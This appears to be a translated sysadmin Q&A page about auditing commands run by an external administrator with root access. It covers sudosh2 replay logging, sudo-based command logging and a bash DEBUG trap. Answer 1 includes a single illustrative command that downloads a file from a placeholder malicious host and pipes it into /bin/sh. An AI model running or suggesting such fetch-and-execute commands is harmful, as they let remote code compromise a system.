记录从 root 执行的每个命令

记录从 root 执行的每个命令

我想将我的根服务器的访问权限授予外部系统管理员,但我想确保仔细检查他对我的服务器做了什么,例如复制我不希望他们做的数据等等。我还想跟踪访问的任何文件,即使是只读的和未编辑的。

我怎样才能做到这一点?

答案1

信任但要验证!

查看sudosh2。sudosh2 由 FreeBSD ports 提供。RedHat 和 Ubuntu 都有可用的软件包。以下是他们网站上的描述:

sudosh 是一个审计 shell 过滤器,可以用作登录 shell。Sudosh 记录所有击键和输出,并可以像 VCR 一样回放会话。

Sudosh 将允许您重播用户的会话,这将允许您查看所有输入输出与用户看到的一样。您可以看到所有内容,包括按键、拼写错误、退格、他们在 中编辑了什么vi、 的输出wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh等。

可以将 sudosh 日志发送到 syslog,以便它们可以存储在远离系统的中央 syslog 服务器上。

请注意,sudosh2 是 sudosh 的替代品,已被其作者放弃

您是否在学术机构工作,而用户坚持要求拥有超级用户权限?或者您是否在公司工作,并希望允许用户在自己的虚拟机上拥有超级用户权限?这可能是您的解决方案。

答案2

不要授予他 root 访问权限。相反,授予他一个非特权用户帐户,并要求他通过 完成所有工作sudo,这将记录他的所有命令。

请记住,如果此人有恶意,而你授予他完整的 sudo 权限,他将要找到一种方法来实现这些恶意行为,而不记录这些命令。在这种情况下,只授予他执行工作所需的特定命令的访问权限。

答案3

我不熟悉 sudosh2,但我将以下内容放入我的文件中,.bashrc以将我在 shell 中输入的所有命令记录bash到文件中~/.command_log

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

上面的代码在 上设置了一个陷阱DEBUG,该陷阱在执行普通命令之前执行。caller内置函数用于测试命令是在交互式 shell 中输入还是通过 之类的方式运行.bashrc。该值${BASH_COMMAND}包含当前正在执行的命令。

相关内容